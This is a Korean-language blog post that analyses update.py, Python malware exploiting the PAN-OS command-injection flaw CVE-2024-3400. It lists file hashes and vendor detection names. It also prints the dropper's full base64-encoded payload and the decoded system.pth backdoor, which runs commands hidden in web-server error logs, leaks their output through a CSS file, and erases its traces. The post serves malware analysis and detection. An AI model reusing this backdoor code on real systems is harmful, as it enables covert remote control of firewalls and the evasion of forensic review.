꿈을꾸는 파랑새

오늘은 CVE-2024-3400 취약점을 악용하는 악성코드인 update.py(2024.5.15)에 대해 알아보겠습니다.
CVE-2024-3400은 Palo Alto Networks 사에서 판매하는 장비들에 탑재된 운영체제인 PAN-OS에서 발견된 Command Injection 취약점입니다. 해당 취약점은 현재 UTA0218 그룹에서 방화벽 공격에 실제 사용하는 취약점으로 Exploit 할 경우 root 권한으로 명령어를 실행할 수 있음
Cloud NGFW, Panorama 어플라이언스 및 Prisma Access는 이 취약점의 영향을 받지 않음
해당 악성코드는 파이썬으로 구성이 돼 있으며 악성코드 해쉬값은 다음과 같습니다.
파일명:update.py
사이즈:5.06 KB
MD5:0c1554888ce9ed0da1583dbdf7b31651
SHA-1:988fc0d23e6e30c2c46ccec9bbff50b7453b8ba9
SHA-256:3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
해당 악성 update.py 스크립트의 목적은 백도어를 배포가 목적입니다.
system.pth. Python으로 작성된 백도어 이며 import주요 콘텐츠는 base64로 인코딩된 blob으로 저장된 것이 특징입니다.
.pth확장은 Python 모듈에 추가 경로를 추가하는 데 사용

update.py 에 포함이 된 악성코드
update.py 에 포함이 된 악성코드

실행될 명령은 공격자가 특정 패턴을 포함하는 존재하지 않는 웹 페이지를 요청하여 위조하는 방법을 사용하고 문의 목적은 웹 서버 오류 로그( /var/log/pan/sslvpn_ngx_error(.)log) 패턴을 찾으며 존재하지 않는 URI에 추가된 데이터를 구문 분석하고 디코딩하여 그 안에 포함된 명령을 실행
그런 다음 명령 출력은 방화벽의 합법적인 부분인 CSS 파일에 추가됩니다( /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap(.)min(.)css)
명령 실행이 완료되고 출력이 기록되면 원래 읽었고 명령이 포함된 로그 항목이 sslvpn_ngx_error.log파일. 실행 후 15초가 지나면 원래 버전의 bootstrap.min.css역시 이전 상태로 복원됨

Python 코드

import os,base64,time
systempth = "/usr/lib/python3.6/site-packages/system(.)pth"
with open(systempth,'wb') as f:
    f.write(b'''import base64;exec(base64.b64decode(b"CgoKZGVmIGNoZWNrKCk6
    CiAgICB(p)bXBvcnQgb3Msc3VicHJvY2Vzcyx0aW1lLHN5cwoKCiAgICBkZWYgc3RhcnRf
    cHJvY2Vz(c)ygpOgogICAgICAgI(G)ltcG9ydCBiYXNlNjQKICAgICAgICBmdW5jdGlvbmNv
    ZGUgPSBiIlpHVm1JRjlmYldG(c)GJpZ3BPZzBLSUNBZ0lHbHRjRzl5ZENCMGFISmxZV1JwYm1
    jc2RHbHRaU3h2Y3l4eVpTeGlZWE5sTmpRTkNnME(t)EUW9OQ2lBZ0lDQmtaV1lnY21WemRHO
    XlaU2hqYzNOZmNHRjBhQ3hqYjI1MFpXNTBMR0YwYVcxbExHMTBhVzFs(S)1RvTkNpQWdJQ0F
    nSUNBZ2FXMXdiM0owSUc5ekxIUnBiV1VOQ2lBZ0lDQWdJQ0FnZEdsdFpT(N)XpiR1ZsY0Nne
    E5Ta05DaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR056YzE5d1lYUm9MQ2QzSnlrZ1lYTWdaa
    m(9)OQ2lBZ0lDQWdJQ0FnSUNBZ0lHWXVkM0pwZEdVb1kyOXVkR1Z1ZENrTkNpQWdJQ0FnSUN
    BZ2IzTXVkWFJwYldV(b)1kzTnpYM0JoZEdnc0tHRjBhVzFsTEcxMGFXMWxLU2tOQ2lBZ0lDQ
    WdJQ0FnRFFvTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnWkdWbUlGOWZhWE5mZDJodmJHVmZhRzkxY
    2lncE9nMEtJQ0FnSUNBZ0lDQm1jbTl0SUdSaGRHVjBhVzFsSUdsdGNHOXlkQ0JrWVhSbGRHb
    HRaUTBLSUNBZ0lDQWdJQ0JqZFhKeVpXNTBYM1JwYldVZ1BTQmtZWFJsZEdsdFpTNXViM2NvS
    1M1MGFXMWxLQ2tOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR04xY25KbGJuUmZkR2x0WlM1dGFXN
    TFkR1VnSVQwZ01DQmhibVFnWTNWeWNtVnVkRjkwYVcxbExuTmxZMjl1WkNBOVBTQXdEUW9nS
    UNBZ1kzTnpYM0JoZEdnZ1BTQW5MM1poY2k5(a)GNIQjNaV0l2YzNOc2RuQnVaRzlqY3k5bmJ
    HOWlZV3d0Y0hKdmRHVmpkQzl3YjNKMFlXd3ZZM056TDJKdmIzUnpkSEpoY0M1dGFXNHVZM05
    6SncwS0lDQWdJR052Ym5SbGJuUWdQU0J2Y0dW(d)UtHTnpjMTl3WVhSb0tTNXlaV0ZrS0NrT
    kNpQWdJQ0JoZEdsdFpUMXZjeTV3WVhSb0xtZGxkR0YwYVcxbEtHTnpjMTl3WVhSb0tRMEtJQ
    0FnSUcxMGFXMWxQVzl6TG5CaGRHZ3VaMlYwYlhS(c)GJXVW9ZM056WDNCaGRHZ3BEUW9OQ2l
    BZ0lDQjNhR2xzWlNCVWNuVmxPZzBLSUNBZ0lDQWdJQ0IwY25rNkRRb2dJQ0FnSUNBZ0lDQWd
    JQ0JUU0VWTVRGOVFRVlJVUlZKT0lEMGdKMmx0WjF4(Y)ktGdGhMWHBCTFZvd0xUa3JMejFkS
    3lsY1hTY05DaUFnSUNBZ0lDQWdJQ0FnSUd4cGJtVnpJRDBnVzEwTkNpQWdJQ0FnSUNBZ0lDQ
    WdJRmRTU1ZSRlgwWk1RVWNnUFNCR1lXeHpaUTBLSUNBZ0lDQWdJ(Q)0FnSUNBZ1ptOXlJR3h
    wYm1VZ2FXNGdiM0JsYmlnaUwzWmhjaTlzYjJjdmNHRnVMM056Ykhad2JsOXVaM2hmWlhKeWI
    zSXViRzluSWl4bGNuSnZjbk05SW1sbmJtOXlaU0lwTG5KbFlXUnNhVzVs(Y)3lncE9nMEtJQ
    0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISnpkQ0E5SUhKbExuTmxZWEpqYUNoVFNFVk1URjlRUVZSV
    VJWSk9MR3hwYm1VcERRb(2)dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdjbk4wT2cwS0lDQWd
    JQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlhVa2xVUlY5R1RFRkhJRDBnVkhKMVpRMEtJQ0FnSUN
    BZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0(J)qYldRZ1BTQmlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtIS
    npkQzVuY205MWNDZ3hLU2t1WkdWamIyUmxLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnS
    UNBZ2RISjVPZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0(l)DQWdiM1YwY0hWMEl
    EMGdiM011Y0c5d1pXNG9ZMjFrS1M1eVpXRmtLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0F
    nSUNBZ0lDQWdJSGRwZEdnZ2IzQmxiaWhqYzNOZmNHRjBhQ3dpWVNJcElHRnp(J)R1k2RFFvZ
    0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1ppNTNjbWwwWlNnaUx5b2lLM
    jkxZEhCMWRDc2lLaThpS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlR05(s)Y0h
    RZ1JYaGpaWEIwYVc5dUlHRnpJR1U2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWd
    JQ0J3WVhOekRRb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWTI5(d)WRHbHVkV1VOQ
    2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JzYVc1bGN5NWhjSEJsYm1Rb2JHbHVaU2tOQ2lBZ0lDQ
    WdJQ0FnSUNBZ0lHbG1JRmRTU1ZSRlgwWk1RVWM2RFFvZ0lDQWdJQ0FnSUNBZ0lD(Q)WdJQ0F
    nWVhScGJXVTliM011Y0dGMGFDNW5aWFJoZEdsdFpTZ2lMM1poY2k5c2IyY3ZjR0Z1TDNOemJ
    IWndibDl1WjNoZlpYSnliM0l1Ykc5bklpa05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnRk(R)
    2x0WlQxdmN5NXdZWFJvTG1kbGRHMTBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5Cd
    VgyNW5lRjlsY25KdmNpNXNiMmNpS1EwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2QybDBhQ
    0J2(Y)0dWdUtDSXZkbUZ5TDJ4dlp5OXdZVzR2YzNOc2RuQnVYMjVuZUY5bGNuSnZjaTVzYjJ
    jaUxDSjNJaWtnWVhNZ1pqb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWmk1M2NtbDB
    aV3hwYm1W(e)ktHeHBibVZ6S1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUc5ekxuVjBhVzFsS
    0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpTENoaGRHb
    HRaU3h0ZEdsdF(p)Ta3BEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhVzF3YjNKMElIUm9jbVZ
    oWkdsdVp3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIUm9jbVZoWkdsdVp5NVVhSEpsWVdRb2R
    HRnlaMlYwUFhKbGMzUn(Z)jbVVzWVhKbmN6MG9ZM056WDNCaGRHZ3NZMjl1ZEdWdWRDeGhkR2x0WlN4dGRHbHRaU2tw
    TG5OMFlYSjBLQ2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBPZzBLSUNBZ0lDQWdJQ0FnSUNBZ2NHRnpjdz
    (B)LSUNBZ0lDQWdJQ0IwYVcxbExuTnNaV1Z3S0RJcERRb05DZzBLYVcxd2IzSjBJSFJvY21WaFpHbH
    VaeXgwYVcxbERRcDBhSEpsWVdScGJtY3VWR2h5WldGa0tIUmhjbWRsZEQxZlgyMWhhVzRw(T)G5OMF
    lYSjBLQ2tOQ2cwSyIKICAgICAgICBleGVjKGJhc2U2NC5iNjRkZWNvZGUoZnVuY3Rpb25jb2RlKSkg
    ICAgICAgIAoKICAgIGlmIGIiL3V(z)ci9sb2NhbC9iaW4vbW9uaXRvciBtcCIga(W)4gb3BlbigiL3
    Byb2Mvc2VsZi9jbWRsaW5lIiwicmIiKS5yZWFkKCkucmVwbGFjZShiIlx4MDAiLGIiICIpIDoKICAg
    ICAgICB0cnk6CiAgICAgI(C)AgICAgIHN0YX(J)0X3Byb2Nlc3MoKQogICAgICAgIGV4Y2VwdCBLZX
    lib2FyZEludGVycnVwdCBhcyBlOgogICAgICAgICAgICBwcmludChlKQogICAgICAgIGV4Y2VwdCBF
    eGNlcHRpb24gYXMgZToKICAgICAgIC(A)gICAgcHJpbnQoZSkKICAgICAgIC(B)yZXR1cm4gVHJ1ZQ
    ogICAgZWxzZToKICAgICAgICByZXR1cm4gRmFsc2UgCgoKZGVmIHByb3RlY3QoKToKICAgIGltcG9y
    dCBvcyxzaWduYWwKICAgIHN5c3(R)lbXB0aCA9ICIvdXNyL2xp(Y)i9weXRob24zLjYvc2l0ZS1wYW
    NrYWdlcy9zeXN0ZW0ucHRoIgogICAgY29udGVudCA9IG9wZW4oc3lzdGVtcHRoKS5yZWFkKCkKICAg
    ICMgb3MudW5saW5rKF9fZmlsZV9fKQogICAgZGVm(I)HN0b3Aoc2lnLGZyYW1lKToKICAgICAgICBp
    ZiBub3Qgb3MucGF0aC5leGlzdHMoc3lzdGVtcHRoKToKICAgICAgICAgICAgd2l0aCBvcGVu(K)HN5
    c3RlbXB0aCwidyIpIGFzIGY6CiAgICAgICAgIC(A)gICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAg
    c2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSxzdG9wKQoKCnByb3RlY3QoKQpjaG(V)jaygpCg=="))''')
atime=os.path.getatime(os.__file__)
mtime=os.path.getmtime(os.__file__)
os.utime(systempth,(atime,mtime))
os.unlink(__file__)
import glob
os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")[0])

코드 설명

해당 코드는 Python 스크립트를 사용하여 악성 코드를 주입하는 데 사용
1.import os, base64, time:os,base64,time 모듈을 임포트 해당 모듈들은 파일 시스템 접근,데이터 인코딩/디코딩,시간 관련 작업에 사용
2.systempth:systempth 변수는 시스템 경로를 Python 시스템 패키지 경로 지정
3. 파일 작성: 주어진 경로에 파일을 쓰기 모드로 열고 base64로 인코딩된 데이터를 디코딩하여 내용을 작성
4.exec:디코딩된 데이터를 exec 함수를 통해 실행 해당 데이터는 base64로 인코딩된 악성 Python 코드

CyberChef 로 본 첫번째 Base64
CyberChef 로 본 첫번째 Base64

5. 악성 코드
check 함수: 프로세스를 시작하는 함수
import os,subprocess, time, sys로 시작하여 기본 환경 설정을 수행
start_process 함수:base64로 인코딩된 명령어를 디코딩하여 실행
protect 함수: 시스템 파일을 보호하려는 시도
unlink: 자신의 스크립트를 삭제
6. 파일 시간 설정: 시스템의 파일 접근 시간과 수정 시간을 현재 시각으로 설정하여 변경 기록을 남기지 않도록 함
7. 파일 삭제: 스크립트가 자신의 파일을 삭제
8.글로벌 설정 변경:glob 모듈을 사용하여 특정 경로의 라이선스 파일을 찾아서 삭제
일단 Base64 디코딩을 해야 하므로 CyberChef(사이버세프)센세이를 가져와서 확인하면 됩니다.
그러면 2번의 Base64로 되어져 있는 것을 확인할 수 있을 것이고 해당 부분을 다 벗기면 다음과 같은 코드를 확인할 수가 있을 것입니다.

CyberChef 로 본 두번째 Base 64
CyberChef 로 본 두번째 Base 64

def __main():
    import threading,time,os,re,base64



    def restore(css_path,content,atime,mtime):
        import os,time
        time.sleep(15)
        with open(css_path,'w') as f:
            f.write(content)
        os.utime(css_path,(atime,mtime))
        

        
    def __is_whole_hour():
        from datetime import datetime
        current_time = datetime(.)now().time()
        return current_time(.)minute != 0 and current_time.second == 0
    css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap(.)min(.)css'
    content = open(css_path).read()
    atime=os.path.getatime(css_path)
    mtime=os.path.getmtime(css_path)

    while True:
        try:
            SHELL_PATTERN = 'img\[([a(-)zA-Z0-9+/=]+)\]'
            lines = []
            WRITE_FLAG = False
            for line in open("/var/log/pan/sslvpn_ngx_error.log",errors="ignore").readlines():
                rst = re.search(SHELL_PATTERN,line)
                if rst:
                    WRITE_FLAG = True
                    cmd = base64(.)b64decode(rst.group(1)).decode()
                    try:
                        output = os(.)popen(cmd).read()
                        with open(css_(p)ath,"a") as f:
                            f.write("/*"(+)output+"*/")
                    except Exception as e:
                        pass

                    continue
                lines.append(line)
            if WRITE_FLAG:
                atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error(.)log")
                mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error(.)log")

                with open("/var/log/pan/sslvpn_ngx_error(.)log","w") as f:
                    f.writelines(lines)
                os.utime("/var/log/pan/sslvpn_ngx_error(.)log",(atime,mtime))
                import threading
                threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
        except:
            pass
        time.sleep(2)


import threading,time
threading.Thread(target=__main).start()

악성코드 설명

함수는 지정된 경로의 CSS 파일을 원래 내용과 타임스탬프로 복원
time.sleep(15)로 15초 대기 후 원래 상태로 복원
현재 시각이 정각(분과 초가 0)이 아닐 때 False를 반환
로그 파일(/var/log/pan/sslvpn_ngx_error(.)log)에서 img\[([a(-)zA-Z0-9+/=]+)\] 패턴을 찾으며 
패턴이 발견되면 해당 명령어를 base64로 디코딩하고 이를 실행하여 결과를 bootstrap(.)min(.)css 파일에 주석으로 추가
WRITE_FLAG가 True인 경우 로그 파일을 다시 작성하고 원래 타임스탬프를 유지
CSS 파일을 복원하기 위해 restore 함수를 별도 스레드로 실행
예외가 발생해도 무시하고 2초 후 다시 시도
수집하는 정보
로그 파일 내용: /var/log/pan/sslvpn_ngx_error(.)log 파일에서 특정 형태를 보인 로그 라인
명령어 실행 결과: 패턴 매칭된 명령어를 실행하여 그 출력을 수집
파일 메타데이터: CSS 파일과 로그 파일의 접근 시간(atime) 및 수정 시간(mtime)
추가 행위
명령어 실행: 디코딩된 base64 명령어를 시스템에서 실행
파일 변경: 명령어 실행 결과를 CSS 파일에 주석으로 추가
복원 시도: 일정 시간 후에 파일의 내용을 원래 상태로 되돌림
로그 파일에서 패턴을 찾아 명령어를 실행하고 그 결과를 특정 파일에 주입하고 원래 파일을 복원하는 악의적인 행동을 반복 시스템의 취약점을 이용하여 명령어를 실행하고, 해당 시스템의 정보를 수집하며, 추적을 피하려는 시도
즉 네트워크 모니터링 및 EDR 기능을 포함하여 공격과 관련된 활동을 식별하려면 강력한 탐지 스택을 보유하는 것이 중요 하며 네트워크 모니터링 및 EDR 기능을 포함하여 공격과 관련된 활동을 식별하려면 강력한 탐지 스택을 보유하는 것이 중요함
2024-05-16 11:01:32 UTC 바이러스토탈 기준으로 탐지하는 보안업체 들은 다음과 같습니다.
AhnLab-V3:Exploit/Python.CVE-2024-3400
AliCloud:Trojan[dropper]:Python/Agent.AYN
ALYac:Exploit.Python.Agent
Antiy-AVL:Trojan/Python.Agent
Arcabit:Trojan.Generic.D44FF259
Avast:Python:Agent-WE [Trj]
AVG:Python:Agent-WE [Trj]
Avira (no cloud):TR/Drop.Agent.3de2a4
BitDefender:Trojan.GenericKD.72348249
Cynet:Malicious (score: 99)
DrWeb:Python.Siggen.84
Emsisoft:Trojan.GenericKD.72348249 (B)
eScan:Trojan.GenericKD.72348249
ESET-NOD32:Python/Agent.AVV
Fortinet:Python/OSnaP.3400!tr
GData:Trojan.GenericKD.72348249
Ikarus:Trojan.Python.Agent
Kaspersky:Trojan.Python.Agent.jy
Kingsoft:Win32.Troj.Generic.v
Lionic:Trojan.Script.Python.4!c
MAX:Malware (ai Score=85)
McAfee:PYTHON/Agent.aa
Microsoft:Exploit:Python/CVE-2024-3400!MTB
QuickHeal:Exp.CVE-2024-3400.48762.GC
Sophos:Troj/PyAgent-W
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan.Agent.Qgil
Trellix (FireEye):Trojan.GenericKD.72348249
TrendMicro-HouseCall:Backdoor.Python.UPSTAYL.A
VIPRE:Trojan.GenericKD.72348249
ViRobot:HTML.Z.Agent.5187.A
WithSecure:Trojan.TR/Drop.Agent.3de2a4
ZoneAlarm by Check Point:Trojan.Python.Agent.jy

그리고 엔드포인트 탐지 및 대응(EDR)은 호스트 및 엔드포인트 연결에서 의심스러운 활동을 탐지하여 대응하기 위해 지속적인 실시간 모니터링 도 도움이 될 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band